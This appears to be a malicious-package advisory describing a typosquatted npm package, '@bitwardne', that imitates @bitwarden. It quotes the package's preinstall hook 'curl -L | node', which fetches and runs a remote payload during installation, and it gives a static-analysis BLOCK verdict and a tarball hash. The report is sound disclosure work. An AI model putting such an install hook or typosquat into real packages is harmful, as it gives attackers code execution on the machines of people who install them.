GCVE-110-OSM-2026-13101

package.json:8 defines preinstall: 'curl -L | node', executing a downloaded remote payload during installation — a second-stage RCE hook. Combined with the typosquatted name '@bitwardne' mimicking @bitwarden, this is malicious; the main file index.js:2-5 is only a trivial shim to make the package look like a real library. ## Static analysis (vigil) Verdict `BLOCK`, score 25/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` ## Package metadata - Publisher: unknown - Published: 2026-10-03T07:07:25.172Z - Install hooks: preinstall=curl -L | node - SHA-256 (tarball): `7b5f30bfcfec106a157508871ebf55b9383309e12be539a7082eb45ea66f16c4`